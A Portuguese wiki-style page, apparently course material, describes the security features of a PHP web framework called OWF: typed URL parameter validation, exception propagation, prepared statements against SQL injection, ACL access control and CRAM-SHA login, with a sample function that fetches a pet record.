Da declaração das funções faz parte a listagem dos seus parâmetros (que serão recebidos como valores da querystring do URL) e os respectivos tipos, bem como se uma função deve poder ser chamada remotamente sem haver uma sessão de utilizador activa. A OWF controla estes dados autonomamente, sendo capaz de fazer o teste e avaliação dos parâmetros, bem como determinar se há uma sessão activa e permitir ou recusar a execução de uma determinada função.

Propagação de erros

No caso de ocorrer algum erro durante a execução de uma função (como por exemplo, uma tentativa de acesso sem permissões, algum erro de processamento, um objecto não encontrado, uma palavra-chave errada), as funções lançam excepções. As excepções, quando necessário, são propagadas até ao cliente. No caso de funções Page, essas excepções são apresentadas com uma mensagem informativa, com o estilo próprio de erros HTTP. No caso de funções de outros tipos, o erro é propagado através de um cabeçalho HTTP específico (X-OWF-Exception) que pode ser apanhado pelo código AJAX do cliente. Uma capacidade eficaz de tratamento de erros é uma peça fundamental para ajudar a garantir segurança, quer do lado do cliente, quer do lado do servidor.

Protecção contra injecção de código

A protecção contra a injecção de código é feita a dois níveis, na OWF. O primeiro nível é através da verificação automatizada dos parâmetros na URL. Quando uma função é chamada, esta framework vai verificar a sua declaração para poder confirmar os seus parâmetros e respectivos tipos. Há três tipos de verificação possível:

  • POD - o tipo “POD” serve para se testar valores base da linguagem, os chamados “Plain Old Data”. Entre os sub-tipos testados, encontra-se “int”, “float” e “string”.
  • REGEX - este tipo serve para verificar se o parâmetro respeita uma determinada expressão regular.
  • FUNC - o tipo “FUNC” permite que o criador da aplicação defina uma função específica de verificação de parâmetros que será chamada automaticamente quando for preciso verificar esse parâmetro.

O segundo nível é exclusivo do acesso a bases de dados SQL e apesar de não ser obrigatório, é recomendado, sendo que para o facilitar existe um conjunto de classes e funções acessórias. Trata-se do recurso a “prepared statements”. Com o uso desta funcionalidade, torna-se impossível um sub-tipo de injecção de código descrito anteriormente: a injecção de SQL. A OWF melhora o suporte base de “prepared statements” ao adicionar a funcionalidade de “named prepared statements” (para ser mais fácil reutilizar um “prepared statement”).

Controlo de acessos

Para facilitar aos programadores a implementação de funcionalidades de controlo de acessos, a OWF ja inclui, no seu modelo de dados, tabelas para listagem de grupos e utilizadores (que podem ser expandidas conforme necessário). Como se trata de um modelo de dados orientado a objectos, existe também uma listagem de classes, sendo que todos os objectos pertencerão a uma das classes nessa tabela. Todos os objectos possuem também uma identificação única e unívoca. Desta forma, é fácil e pouco dispendioso, quer computacionalmente, quer a nível de armazenamento, implementar um sistema de atribuições e de controlo de acessos por ACL. De notar que o programador não é obrigado a usar esta funcionalidade, mas é recomendado que o faça. A framework inclui já também um sistema seguro de autenticação de utilizadores atraves de CRAM-SHA, com funções cliente (em Javascript) e servidor disponíveis, fáceis de utilizar, que o programador pode integrar directamente na camada de apresentação da sua aplicação. O facto de se usar a metodologia CRAM permite que pelo menos o processo de autenticação seja feito de forma segura, ainda que a ligação não o seja e os restantes conteúdos após a autenticação sejam transmitidos de forma insegura.

Exemplo de código retirado de projecto real

Primeiro declara-se a função perante a framework, indicando o tipo de função (se é código PHP ou XSLT), o seu nome, se é necessário que esteja um login activo para ser chamada, os seus parâmetros e que template XSLT deverá ser usado para processar o seu resultado, se algum.

 $data = array
 (
   "type" => "code",
   "name" => "bichinhos_get",
   "require-login" => false,
   "params" => array
   (
     "bichinho_id" => array("type" => "pod", "target" => "int", "exception" => "EWrongBichinhoID")
   ),
   "default_xslt" => null
 );

Note-se que é o índice "params" do vector associativo criado que define quais os parâmetros (neste caso, parâmetro) que a função pode receber e de que tipo são, bem como a excepção a ser lançada caso a confirmação do tipo falhe. É um primeiro nível de "parameter sanitation" para ajudar a prevenir contra ataques de injecção de SQL e injecção de código para execução remota.

De seguida regista-se as informações da função na framework para estar disponível:

 \owf::$sys->register_host_function("bichinhos", "get", $data);

E, então, o código da unção:

 // -----------------------------------------------------------------------------------------------------------------------
 // PT: autenticação
 // EN: authentication
 function bichinhos_get($p_bichinho_id)
 {

O uso de statements preparados:

   // PT: leitura da base de dados
   $l_query = 'SELECT * FROM %1$sbichinho WHERE bichinho_id = ? LIMIT 1';
   $l_statement = \owf::$sys->m_dbc->prepare($l_query);
   $l_statement->execute(array($p_bichinho_id));
   $l_bichinho = $l_statement->fetch();

A criação do nó XML com o resultado e o seu preenchimento:

   $l_result = \owf::$res->new_result();
   $l_node = \owf::$res->new_node("bichinho");
   $l_result->appendChild($l_node);
   $l_node->setAttribute("bichinho_id", $l_bichinho['bichinho_id']);
   $l_node->setAttribute("nome", $l_bichinho['nome']);
   $l_node->setAttribute("sexo", $l_bichinho['sexo']);
   $l_node->setAttribute("especie", $l_bichinho['especie']);
   $l_node->setAttribute("data_nasc", $l_bichinho['data_nasc']);
   $l_node->setAttribute("raca", $l_bichinho['raca']);
   $l_node->setAttribute("peso", $l_bichinho['peso']);
   $l_node->setAttribute("dono_id", $l_bichinho['dono_id']);
   $l_node->appendChild(\owf::$res->new_text($l_bichinho["observacoes"]));

E o fim da função.

   return($l_result);
 }

Esta função, imaginando-se que seria chamado com uma query ?bichinho_id=1 e que essa entrada efectivamente existiria na base de dados, iria gerar código XML com a seguinte estrutura (dados apresentados são meramente de exemplo):

 <bichinho bichinho_id="1" nome="Wolverine" sexo="m" especie="canis lupus"
 data_nasc="2012-03-01" raca="Wolverinius Shismenius" peso="25kg" dono_id="4"/>

Referências

  1. Snyder,C; Myer,T e Southwell,M; Pro PHP Security, 2010, Capitulo X
  2. http://en.wikipedia.org/wiki/Cross-site_scripting

[[Ficheiro:csf-seg-php-ppt.zip [PowerPoint Apresentação]]]